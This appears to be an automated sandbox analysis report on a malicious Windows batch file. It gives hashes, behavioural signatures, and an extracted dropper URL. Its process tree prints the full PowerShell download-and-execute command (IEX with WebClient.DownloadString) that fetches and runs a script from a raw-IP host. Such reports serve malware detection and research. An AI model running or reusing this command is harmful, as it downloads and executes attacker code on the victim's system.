Analysis

  • max time kernel
    64s
  • max time network
    96s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    12-07-2020 01:10

General

  • Target

    6ebe9b72866bb759c8fb8b43c6691c55.bat

  • Size

    217B

  • MD5

    9a910f1611f357e048f8f5ca83a09740

  • SHA1

    ca3e718abf686be0e827824a117c276ebab717d9

  • SHA256

    8178b2a273ccd3ec4e01c78beeabb8b306e6851906b9581eff43d3af65cb72cb

  • SHA512

    279acdb19eefff654a3828abdb8e37ac8d0a937ba8908e8465f2daefb88cfade810fc0ff18c2dd43288583a5b48a634cd4813fb087a837e2331190bd3470cb01

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://185.103.242.78/pastes/6ebe9b72866bb759c8fb8b43c6691c55

Signatures

  • Suspicious use of WriteProcessMemory 3 IoCs
  • Program crash 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\6ebe9b72866bb759c8fb8b43c6691c55.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1008
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/6ebe9b72866bb759c8fb8b43c6691c55');Invoke-RDYJJFERDU;Start-Sleep -s 10000"
      2⤵
        PID:4028
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4028 -s 704
          3⤵
          • Program crash
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious behavior: EnumeratesProcesses
          PID:808

    Network

    MITRE ATT&CK Matrix

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/808-1-0x0000000004040000-0x0000000004041000-memory.dmp

      Filesize

      4KB

    • memory/808-9-0x00000000047F0000-0x00000000047F1000-memory.dmp

      Filesize

      4KB

    • memory/808-46-0x0000000004BF0000-0x0000000004BF1000-memory.dmp

      Filesize

      4KB